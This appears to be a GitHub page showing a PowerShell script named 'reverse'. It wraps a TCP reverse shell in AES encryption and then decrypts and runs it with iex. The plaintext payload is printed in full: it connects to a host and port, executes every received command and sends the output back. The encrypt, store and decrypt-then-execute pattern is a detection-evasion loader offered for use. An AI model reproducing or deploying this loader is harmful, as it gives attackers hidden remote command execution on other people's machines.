-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathreverse
118 lines (113 loc) · 6.18 KB
/
reverse
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
$e = '221 170 153 232 195 109 43 51 123 228 88 103 4 252 60 168 71 209 111 54 175 118 35 178 99 83 195 77 242 235 195 29 251 38 83 196 1
59 50 139 252 126 224 87 92 156 218 102 186 99 28 122 102 224 157 252 212 211 33 110 80 161 14 115 186 108 229 68 39 56 74 45 216
5 114 110 85 241 116 143 49 78 45 1 160 177 188 53 208 43 240 89 99 82 77 194 64 137 43 191 92 200 183 1 47 142 38 7 134 251 96 46
205 146 16 53 174 154 166 16 238 63 79 185 149 105 153 180 118 254 165 178 112 98 93 110 110 139 99 41 211 111 209 155 164 145 59
224 182 67 95 51 182 44 149 12 178 209 49 87 43 122 3 129 164 102 206 42 193 170 24 18 242 171 179 223 188 139 228 160 109 217 19
9 10 33 248 213 209 7 245 156 46 139 128 226 34 208 173 13 249 89 187 164 231 82 193 47 159 232 176 88 105 63 199 221 225 180 211
171 81 78 248 93 74 158 207 166 220 254 82 67 141 173 175 245 203 62 189 48 36 61 215 64 148 193 183 31 183 27 169 60 122 113 41 1
64 8 107 160 80 100 11 199 158 86 187 22 191 118 226 131 124 70 115 125 198 77 5 215 212 187 129 167 215 219 142 209 229 223 253 3
1 53 95 33 9 41 44 215 118 157 219 45 5 243 117 172 181 105 233 70 214 19 207 44 18 207 201 140 87 207 174 212 168 221 95 186 40 1
73 126 9 255 223 84 158 151 30 208 37 88 26 195 218 225 65 54 247 21 38 236 55 37 60 28 166 35 128 71 223 156 237 74 134 204 114 0
31 120 190 103 161 227 221 8 123 190 30 103 118 192 226 149 248 174 22 4 28 159 0 95 35 73 146 37 119 24 252 31 192 18 118 250 89
110 217 52 242 47 136 174 8 86 62 63 92 132 94 97 202 233 237 116 193 39 187 230 165 15 147 170 106 27 205 217 47 18 153 182 88 2
2 233 107 200 40 241 177 121 90 157 152 121 0 143 2 182 117 190 169 16 60 64 31 12 174 9 231 240 186 75 173 77 177 79 73 87 183 42
73 191 10 50 172 231 150 16 86 233 45 151 254 22 82 170 10 126 175 24 93 126 157 29 152 22 144 225 252 232 200 6 153 39 128 174 8
84 248 188 196 16 184 246 178 43 253 148 27 9 173 175 186 132'
function fAESEncrypt()
{
Param(
[Parameter(Mandatory=$true)][byte[]]$aBytesToBeEncrypted,
[Parameter(Mandatory=$true)][byte[]]$aPasswordBytes,
[Parameter(Mandatory=$true)][ref]$raEncryptedBytes,
[Parameter(Mandatory=$false)][byte[]]$aCustomSalt
)
[byte[]] $encryptedBytes = @()
[byte[]]$aSaltBytes = @(4,7,12,254,123,98,34,12,67,12,122,111)
if($aCustomSalt.Count -ge 1)
{
$aSaltBytes=$aCustomSalt
}
[System.IO.MemoryStream] $oMemoryStream = new-object System.IO.MemoryStream
[System.Security.Cryptography.RijndaelManaged] $oAES = new-object System.Security.Cryptography.RijndaelManaged
$oAES.KeySize = 256;
$oAES.BlockSize = 128;
[System.Security.Cryptography.Rfc2898DeriveBytes] $oKey = new-object System.Security.Cryptography.Rfc2898DeriveBytes($aPasswordBytes, $aSaltBytes, 1000);
$oAES.Key = $oKey.GetBytes($oAES.KeySize / 8);
$oAES.IV = $oKey.GetBytes($oAES.BlockSize / 8);
$oAES.Mode = [System.Security.Cryptography.CipherMode]::CBC
$oCryptoStream = new-object System.Security.Cryptography.CryptoStream($oMemoryStream, $oAES.CreateEncryptor(), [System.Security.Cryptography.CryptoStreamMode]::Write)
try
{
$oCryptoStream.Write($aBytesToBeEncrypted, 0, $aBytesToBeEncrypted.Length);
$oCryptoStream.Close();
}
catch [Exception]
{
$raEncryptedBytes.Value=[system.text.encoding]::ASCII.GetBytes("Error occured while encoding string. Salt or Password incorrect?")
return $false
}
$oEncryptedBytes = $oMemoryStream.ToArray();
$raEncryptedBytes.Value=$oEncryptedBytes;
return $true
}
function fAESDecrypt()
{
Param(
[Parameter(Mandatory=$true)][byte[]]$aBytesToDecrypt,
[Parameter(Mandatory=$true)][byte[]]$aPasswordBytes,
[Parameter(Mandatory=$true)][ref]$raDecryptedBytes,
[Parameter(Mandatory=$false)][byte[]]$aCustomSalt
)
[byte[]]$oDecryptedBytes = @();
[byte[]]$aSaltBytes = @(4,7,12,254,123,98,34,12,67,12,122,111)
if($aCustomSalt.Count -ge 1)
{
$aSaltBytes=$aCustomSalt
}
[System.IO.MemoryStream] $oMemoryStream = new-object System.IO.MemoryStream
[System.Security.Cryptography.RijndaelManaged] $oAES = new-object System.Security.Cryptography.RijndaelManaged
$oAES.KeySize = 256;
$oAES.BlockSize = 128;
[System.Security.Cryptography.Rfc2898DeriveBytes] $oKey = new-object System.Security.Cryptography.Rfc2898DeriveBytes($aPasswordBytes, $aSaltBytes, 1000);
$oAES.Key = $oKey.GetBytes($oAES.KeySize / 8);
$oAES.IV = $oKey.GetBytes($oAES.BlockSize / 8);
$oAES.Mode = [System.Security.Cryptography.CipherMode]::CBC
$oCryptoStream = new-object System.Security.Cryptography.CryptoStream($oMemoryStream, $oAES.CreateDecryptor(), [System.Security.Cryptography.CryptoStreamMode]::Write)
try
{
$oCryptoStream.Write($aBytesToDecrypt, 0, $aBytesToDecrypt.Length)
$oCryptoStream.Close()
}
catch [Exception]
{
$raDecryptedBytes.Value=[system.text.encoding]::ASCII.GetBytes("Error occured while decoding string. Salt or Password incorrect?")
return $false
}
$oDecryptedBytes = $oMemoryStream.ToArray();
$raDecryptedBytes.Value=$oDecryptedBytes
return $true
}
$aCustomSalt=@(1,2,3,4,5,6,7,9,10,11,254,253,252)
$sPassword="A Secret Password"
$sInput='$client = New-Object System.Net.Sockets.TCPClient("127.0.0.1",8080)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
{
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)
$sendback = (iex $data 2>&1 | Out-String )
$sendback2 = $sendback + "PS " + (pwd).Path + "> "
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length)
$stream.Flush()
}
$client.Close()'
[byte[]]$aEncryptedMessage=$null
fAESEncrypt ([system.text.encoding]::ASCII.GetBytes($sInput)) ([system.text.encoding]::ASCII.GetBytes($sPassword)) ([ref]$aEncryptedMessage) $aCustomSalt
write-host $aEncryptedMessage
$aCustomSalt=@(1,2,3,4,5,6,7,9,10,11,254,253,252)
$sPassword="A Secret Password"
[byte[]]$e=$null
fAESDecrypt $e ([system.text.encoding]::ASCII.GetBytes($sPassword)) ([ref]$aDecryptedMessage) $aCustomSalt
$u1 = ([System.Text.Encoding]::UTF8.GetString($aDecryptedMessage))
iex $u1